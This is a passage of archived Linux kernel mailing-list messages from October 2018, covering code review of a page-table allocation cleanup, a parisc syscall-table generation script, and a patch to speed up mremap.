> +	pgtable_t new = pte_alloc_one(mm);
>   	if (!new)
>   		return -ENOMEM;
>   
> @@ -681,9 +681,9 @@ int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address)
>   	return 0;
>   }
>   
> -int __pte_alloc_kernel(pmd_t *pmd, unsigned long address)
> +int __pte_alloc_kernel(pmd_t *pmd)
>   {
> -	pte_t *new = pte_alloc_one_kernel(&init_mm, address);
> +	pte_t *new = pte_alloc_one_kernel(&init_mm);
>   	if (!new)
>   		return -ENOMEM;
>   
> @@ -3139,7 +3139,7 @@ static vm_fault_t do_anonymous_page(struct vm_fault *vmf)
>   	 *
>   	 * Here we only have down_read(mmap_sem).
>   	 */
> -	if (pte_alloc(vma->vm_mm, vmf->pmd, vmf->address))
> +	if (pte_alloc(vma->vm_mm, vmf->pmd))
>   		return VM_FAULT_OOM;
>   
>   	/* See the comment in pte_alloc_one_map() */
> @@ -3286,7 +3286,7 @@ static vm_fault_t pte_alloc_one_map(struct vm_fault *vmf)
>   		pmd_populate(vma->vm_mm, vmf->pmd, vmf->prealloc_pte);
>   		spin_unlock(vmf->ptl);
>   		vmf->prealloc_pte = NULL;
> -	} else if (unlikely(pte_alloc(vma->vm_mm, vmf->pmd, vmf->address))) {
> +	} else if (unlikely(pte_alloc(vma->vm_mm, vmf->pmd))) {
>   		return VM_FAULT_OOM;
>   	}
>   map_pte:
> @@ -3365,7 +3365,7 @@ static vm_fault_t do_set_pmd(struct vm_fault *vmf, struct page *page)
>   	 * related to pte entry. Use the preallocated table for that.
>   	 */
>   	if (arch_needs_pgtable_deposit() && !vmf->prealloc_pte) {
> -		vmf->prealloc_pte = pte_alloc_one(vma->vm_mm, vmf->address);
> +		vmf->prealloc_pte = pte_alloc_one(vma->vm_mm);
>   		if (!vmf->prealloc_pte)
>   			return VM_FAULT_OOM;
>   		smp_wmb(); /* See comment in __pte_alloc() */
> @@ -3603,8 +3603,7 @@ static vm_fault_t do_fault_around(struct vm_fault *vmf)
>   			start_pgoff + nr_pages - 1);
>   
>   	if (pmd_none(*vmf->pmd)) {
> -		vmf->prealloc_pte = pte_alloc_one(vmf->vma->vm_mm,
> -						  vmf->address);
> +		vmf->prealloc_pte = pte_alloc_one(vmf->vma->vm_mm);
>   		if (!vmf->prealloc_pte)
>   			goto out;
>   		smp_wmb(); /* See comment in __pte_alloc() */
> diff --git a/mm/migrate.c b/mm/migrate.c
> index 84381b55b2bd..3080b0626026 100644
> --- a/mm/migrate.c
> +++ b/mm/migrate.c
> @@ -2605,7 +2605,7 @@ static void migrate_vma_insert_page(struct migrate_vma *migrate,
>   	 *
>   	 * Here we only have down_read(mmap_sem).
>   	 */
> -	if (pte_alloc(mm, pmdp, addr))
> +	if (pte_alloc(mm, pmdp))
>   		goto abort;
>   
>   	/* See the comment in pte_alloc_one_map() */
> diff --git a/mm/mremap.c b/mm/mremap.c
> index 5c2e18505f75..9e68a02a52b1 100644
> --- a/mm/mremap.c
> +++ b/mm/mremap.c
> @@ -240,7 +240,7 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
>   			if (pmd_trans_unstable(old_pmd))
>   				continue;
>   		}
> -		if (pte_alloc(new_vma->vm_mm, new_pmd, new_addr))
> +		if (pte_alloc(new_vma->vm_mm, new_pmd))
>   			break;
>   		next = (new_addr + PMD_SIZE) & PMD_MASK;
>   		if (extent > next - new_addr)
> diff --git a/mm/userfaultfd.c b/mm/userfaultfd.c
> index 5029f241908f..f05c8bc38ca5 100644
> --- a/mm/userfaultfd.c
> +++ b/mm/userfaultfd.c
> @@ -513,7 +513,7 @@ static __always_inline ssize_t __mcopy_atomic(struct mm_struct *dst_mm,
>   			break;
>   		}
>   		if (unlikely(pmd_none(dst_pmdval)) &&
> -		    unlikely(__pte_alloc(dst_mm, dst_pmd, dst_addr))) {
> +		    unlikely(__pte_alloc(dst_mm, dst_pmd))) {
>   			err = -ENOMEM;
>   			break;
>   		}
> diff --git a/virt/kvm/arm/mmu.c b/virt/kvm/arm/mmu.c
> index ed162a6c57c5..3f8180414301 100644
> --- a/virt/kvm/arm/mmu.c
> +++ b/virt/kvm/arm/mmu.c
> @@ -628,7 +628,7 @@ static int create_hyp_pmd_mappings(pud_t *pud, unsigned long start,
>   		BUG_ON(pmd_sect(*pmd));
>   
>   		if (pmd_none(*pmd)) {
> -			pte = pte_alloc_one_kernel(NULL, addr);
> +			pte = pte_alloc_one_kernel(NULL);
>   			if (!pte) {
>   				kvm_err("Cannot allocate Hyp pte\n");
>   				return -ENOMEM;

From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 3/6] parisc: add system call table generation support
Date: Fri, 12 Oct 2018 16:03:35 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <24dae8ebfd18a60e844383ae4beed486@sf-tec.de>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
 <1539337442-3676-4-git-send-email-firoz.khan@linaro.org>
 <c6280818c999449646ec216984f2df9e@sf-tec.de>
 <CALxhOnggUEkXVVupq0SebJV0StKqbTTCqQtaaao+oQveUFHgbg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539352898 32403 195.159.176.226 (12 Oct 2018 14:01:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 14:01:38 +0000 (UTC)
User-Agent: Roundcube Webmail/1.3.7
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>,
        linux-parisc-owner@vger.kernel.org
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 16:01:32 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAy0S-0008IX-AH
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 16:01:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728730AbeJLVgQ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 17:36:16 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:57973 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1728580AbeJLVgP (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 17:36:15 -0400
Original-Received: (qmail 10635 invoked from network); 12 Oct 2018 14:03:39 -0000
Original-Received: from mail.sf-mail.de ([::ffff:78.47.74.12]:50928 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-GCM-SHA384 encrypted) ESMTPSA
        for <firoz.khan@linaro.org>; Fri, 12 Oct 2018 16:03:39 +0200
In-Reply-To: <CALxhOnggUEkXVVupq0SebJV0StKqbTTCqQtaaao+oQveUFHgbg@mail.gmail.com>
X-Sender: eike-kernel@sf-tec.de
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897633 gmane.linux.ports.parisc:29148 gmane.linux.kernel.year-2038:3518 gmane.linux.kernel.cross-arch:47741
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897633>

Firoz Khan wrote:

>> > +
>> > +    my_abi="$(cut -d'|' -f2 <<< $my_abis)"
> 
> Here is the logic of identifying the generated script is for compat 
> interface
> or not. So systbl_abi_syscall_table_c32 := common,compat,32 in Makefile
> will parse the script and check the second string whether this is
> "compat" or not.
> 
> Other ways are:
> 1. add an extra flag, that will again add the complexity
> 2. check if [ ${out: -5} = "c32.h" ], this looks weird
> 
> Is there any better way to do the same?

What part is that comment directed at? I guess it's the next hunk, so 
I'll comment on that.

>> "<<<" is a bash extension and will not work with /bin/sh.
>> 
>> > +    while read nr abi name entry compat ; do
>> > +     if [ $my_abi = "compat" ]; then
>> > +         if [ -z "$compat" ]; then
>> > +             emit $nxt $nr $entry
>> > +         else
>> > +             emit $nxt $nr $compat
>> > +         fi
>> > +     else
>> > +         emit $nxt $nr $entry
>> > +     fi
>> 
>> I would go for a local variable being set to $compat or $entry and
>> calling emit at only one place. And there should be only one if with 2
>> expressions, no need for 3 branches.

if [ $my_abi = "compat" -a -n "${compat}" ]; then
     somevar=${compat}
else
     somevar=${entry}
fi
emit $nxt $nr $somevar

Eike


From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 15:09:49 +0100
Lines: 135
Approved: news@gmane.org
Message-ID: <9ed82f9e-88c4-8e4f-8c45-3ef153469603@kot-begemot.co.uk>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539353335 1310 195.159.176.226 (12 Oct 2018 14:08:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 14:08:55 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.0
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: "Joel Fernandes (Google)" <joel@joelfernandes.org>,
 linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 16:08:45 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gAy7R-00007U-6E
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 16:08:45 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Content-Type:
	Content-Transfer-Encoding:Cc:List-Subscribe:List-Help:List-Post:List-Archive:
	List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:Message-ID:From:
	References:To:Subject:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=3ekp4T5HqxmEyvccAQL74h5XpPIg4IobO7yxJVpp3BM=; b=jgrzkk145NEkUG+ITk2PEtx8L
	3m/q3gXqV06C4dpKgQx+veuW74eWn6VES/UIznw0gy+taWlmQ6TdC4V3CUxpVUj4qMOk3LjmSaKMY
	XOOd1LSLyqqU1JpscrW/dpWHux0S6xUB35OKlHDPOV2qWdcFnKkLAhy924Fok84ELuB6kA8e9e3v9
	kNvCo4EB/z3jx4Hia1ZBqukpsXeKPuQxFvL9g1mprGlxOe2r1OWzucdGkqZ7Gc8Pwp+Ow6qUczQ4I
	PHyFXBk+17XUzWCRV74k0v4CyO0AYN4+dmNIBDTszoy1qFg/EQIC6M31J6DM7pT3eGmWR/Ul+OJ8B
	mhd3o7cPw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gAy9W-00030x-29; Fri, 12 Oct 2018 14:10:54 +0000
Original-Received: from ivanoab6.miniserver.com ([5.153.251.140]
 helo=www.kot-begemot.co.uk)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gAy9R-0002zi-QZ; Fri, 12 Oct 2018 14:10:51 +0000
Original-Received: from [192.168.17.6] (helo=smaug.kot-begemot.co.uk)
 by www.kot-begemot.co.uk with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.89) (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gAy8U-0002nI-NC; Fri, 12 Oct 2018 14:09:50 +0000
Original-Received: from amistad.kot-begemot.co.uk ([192.168.3.89])
 by smaug.kot-begemot.co.uk with esmtpsa
 (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.89)
 (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gAy8U-0002bW-6c; Fri, 12 Oct 2018 15:09:50 +0100
In-Reply-To: <20181012013756.11285-2-joel@joelfernandes.org>
Content-Language: en-US
X-Clacks-Overhead: GNU Terry Pratchett
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_071050_034025_EC97D3C6 
X-CRM114-Status: GOOD (  25.77  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4523 gmane.linux.kernel:2897636 gmane.linux.ports.mips.general:67037 gmane.linux.ports.ia64:29373 gmane.linux.ports.sh.devel:57622 gmane.linux.kernel.mm:205140 gmane.linux.ports.sparc:28543 gmane.linux.ports.riscv:1042 gmane.linux.ports.hexagon:1897 gmane.comp.emulators.kvm.arm.devel:19402 gmane.linux.ports.alpha:5298 gmane.linux.ports.arm.kernel:679316 gmane.linux.ports.parisc:29149 gmane.linux.ports.ppc64.devel:164145
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4523>

On 10/12/18 2:37 AM, Joel Fernandes (Google) wrote:
> Android needs to mremap large regions of memory during memory management
> related operations. The mremap system call can be really slow if THP is
> not enabled. The bottleneck is move_page_tables, which is copying each
> pte at a time, and can be really slow across a large map. Turning on THP
> may not be a viable option, and is not for us. This patch speeds up the
> performance for non-THP system by copying at the PMD level when possible.
>
> The speed up is three orders of magnitude. On a 1GB mremap, the mremap
> completion times drops from 160-250 millesconds to 380-400 microseconds.
>
> Before:
> Total mremap time for 1GB data: 242321014 nanoseconds.
> Total mremap time for 1GB data: 196842467 nanoseconds.
> Total mremap time for 1GB data: 167051162 nanoseconds.
>
> After:
> Total mremap time for 1GB data: 385781 nanoseconds.
> Total mremap time for 1GB data: 388959 nanoseconds.
> Total mremap time for 1GB data: 402813 nanoseconds.
>
> Incase THP is enabled, the optimization is skipped. I also flush the
> tlb every time we do this optimization since I couldn't find a way to
> determine if the low-level PTEs are dirty. It is seen that the cost of
> doing so is not much compared the improvement, on both x86-64 and arm64.
>
> Cc: minchan@kernel.org
> Cc: pantin@google.com
> Cc: hughd@google.com
> Cc: lokeshgidra@google.com
> Cc: dancol@google.com
> Cc: mhocko@kernel.org
> Cc: kirill@shutemov.name
> Cc: akpm@linux-foundation.org
> Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
> ---
>   mm/mremap.c | 62 +++++++++++++++++++++++++++++++++++++++++++++++++++++
>   1 file changed, 62 insertions(+)
>
> diff --git a/mm/mremap.c b/mm/mremap.c
> index 9e68a02a52b1..d82c485822ef 100644
> --- a/mm/mremap.c
> +++ b/mm/mremap.c
> @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
>   		drop_rmap_locks(vma);
>   }
>   
> +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
> +		  unsigned long new_addr, unsigned long old_end,
> +		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
> +{
> +	spinlock_t *old_ptl, *new_ptl;
> +	struct mm_struct *mm = vma->vm_mm;
> +
> +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> +	    || old_end - old_addr < PMD_SIZE)
> +		return false;
> +
> +	/*
> +	 * The destination pmd shouldn't be established, free_pgtables()
> +	 * should have release it.
> +	 */
> +	if (WARN_ON(!pmd_none(*new_pmd)))
> +		return false;
> +
> +	/*
> +	 * We don't have to worry about the ordering of src and dst
> +	 * ptlocks because exclusive mmap_sem prevents deadlock.
> +	 */
> +	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
> +	if (old_ptl) {
> +		pmd_t pmd;
> +
> +		new_ptl = pmd_lockptr(mm, new_pmd);
> +		if (new_ptl != old_ptl)
> +			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
> +
> +		/* Clear the pmd */
> +		pmd = *old_pmd;
> +		pmd_clear(old_pmd);
> +
> +		VM_BUG_ON(!pmd_none(*new_pmd));
> +
> +		/* Set the new pmd */
> +		set_pmd_at(mm, new_addr, new_pmd, pmd);

UML does not have set_pmd_at at all

If I read the code right, MIPS completely ignores the address argument 
so set_pmd_at there may not have the effect which this patch is trying 
to achieve.

IMHO, this needs to be a per-architecture, not across full tree.

> +		if (new_ptl != old_ptl)
> +			spin_unlock(new_ptl);
> +		spin_unlock(old_ptl);
> +
> +		*need_flush = true;
> +		return true;
> +	}
> +	return false;
> +}
> +
>   unsigned long move_page_tables(struct vm_area_struct *vma,
>   		unsigned long old_addr, struct vm_area_struct *new_vma,
>   		unsigned long new_addr, unsigned long len,
> @@ -239,7 +287,21 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
>   			split_huge_pmd(vma, old_pmd, old_addr);
>   			if (pmd_trans_unstable(old_pmd))
>   				continue;
> +		} else if (extent == PMD_SIZE) {
> +			bool moved;
> +
> +			/* See comment in move_ptes() */
> +			if (need_rmap_locks)
> +				take_rmap_locks(vma);
> +			moved = move_normal_pmd(vma, old_addr, new_addr,
> +					old_end, old_pmd, new_pmd,
> +					&need_flush);
> +			if (need_rmap_locks)
> +				drop_rmap_locks(vma);
> +			if (moved)
> +				continue;
>   		}
> +
>   		if (pte_alloc(new_vma->vm_mm, new_pmd))
>   			break;
>   		next = (new_addr + PMD_SIZE) & PMD_MASK;


Brgds,


A.

From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 17:37:28 +0300
Lines: 102
Approved: news@gmane.org
Message-ID: <20181012143728.t42uvr6etg7gp7fh@kshutemo-mobl1>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <9ed82f9e-88c4-8e4f-8c45-3ef153469603@kot-begemot.co.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539354952 26924 195.159.176.226 (12 Oct 2018 14:35:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 14:35:52 +0000 (UTC)
User-Agent: NeoMutt/20180716
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo
To: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 16:35:42 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gAyXV-0006lm-Fu
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 16:35:41 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=OM8CIIfzToXtIj98sGPlH2iEVW0ChUAip/si5T4Kwyk=; b=NJ2cUQK4OIS/bl
	rAImQMCnc7y3krH7TRPEM+WdTB1KKMxM2351CxgGGNwhtcfr17iyBhkZn/SUuCt949K6mYJXv65g/
	YLOtjMnx95C8O95B7PJOsaKe1YXR71cRqThwELygZEbEIKpXpxY/lKf6DKJtvHw3eARa0swOxH0Sk
	6y+OaXVPUWaqEcJy8QMD4+eTk8/gS1xfoxrU4iwfl+Jb0v2mvvZRxaDm2s8/GzFQqvnd62noLDgRd
	TonuSFpUhemzfyq8LWUlo40PuGssnc+MOtZtuQ4pAPfGP/IimembBHbg806Wp7wT4aSy9QMYiwA4c
	12P5SQUSYJtQRWekhZsg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gAyZa-0004Mo-Fr; Fri, 12 Oct 2018 14:37:50 +0000
Original-Received: from mail-pl1-x641.google.com ([2607:f8b0:4864:20::641])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gAyZV-0004Ko-8l
 for linux-snps-arc@lists.infradead.org; Fri, 12 Oct 2018 14:37:47 +0000
Original-Received: by mail-pl1-x641.google.com with SMTP id f8-v6so6048349plb.2
 for <linux-snps-arc@lists.infradead.org>; Fri, 12 Oct 2018 07:37:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=shutemov-name.20150623.gappssmtp.com; s=20150623;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=WmsBeRqG+js0d1ZYoeNRzLWfmHXKH+0ny1JSwktvXaA=;
 b=UYddXijWdtK9+FBoycXqxjeDGtjj/99t/2YOiRgSdNY9ts+ybCKBQgWkbhOw3a0URs
 yzPTxHWgLmkfdlyI4yoSEx/ax89p4/aZUNpeF9gGkdPOSDUGdbqm7XKqzqiCbasA3WV0
 qdCaVeaXsSO4uwUI1EksMXDjBgN9542M4G4Rhq8Z1ZwXPb+Fa8hBdziFFq4A8LdSY8Xe
 K/9zRLDH1k3tfdvlXuq5bjM2NgMx7gSsu/MWXhYEMazsght6EqNCnY3QJqhMfBe3PIdF
 is7eogsMKQfiycKtWskb2wWAR9kqJ106PX+GvamKzqxF4YukqxOJQPgO0bDFYWkI/zub
 wkVQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=WmsBeRqG+js0d1ZYoeNRzLWfmHXKH+0ny1JSwktvXaA=;
 b=c6bsKImYtY9syemMEspbD9XG4b2rukKPW17E5dTQqIbFqgywC6GLDqPysVTf4j3PDc
 WYPVOzP+fDV0vbfKLljytKjgKH0G7B2wIqaBeB6eYZT4ieRHUrukJtjPo6LCg4MnzPMh
 wOpg52EEhzn/bH1/sUXsfoEy0VZZLR8+mlInriUd21zVhq0uusKPq5LEYkgOl7FxULrc
 3w1Aw9UdNJch4XdC4pyn/HhKJFptKpO9Eh6TKNPw2/h1fJP+OD6NskVH/Z+poiEaHmHX
 XKY0nrdAY8JypEQlmX70Ixb8Mswnva5ygATKmejrEuZlXE5aqOQ7LDY6P8jqIQXjK9Zp
 HpsA==
X-Gm-Message-State: ABuFfojXPnLLywNHpicZ4hn0K6C+rKZRoezNTFD0fNRaQZ1cJ/QdxOQ/
 PDhps7Lj0CPNvZOQg0BE++FnLkggrIrs/ZNW
X-Google-Smtp-Source: ACcGV624HBQdcYuhf1fNqc+fSSuf014ZgxhuMF9sCWpN1xC28Kjk2roR0JUzmssKeyQqkz1U05KpYw==
X-Received: by 2002:a17:902:2e81:: with SMTP id
 r1-v6mr79552plb.212.1539355054305; 
 Fri, 12 Oct 2018 07:37:34 -0700 (PDT)
Original-Received: from kshutemo-mobl1.localdomain ([134.134.139.83])
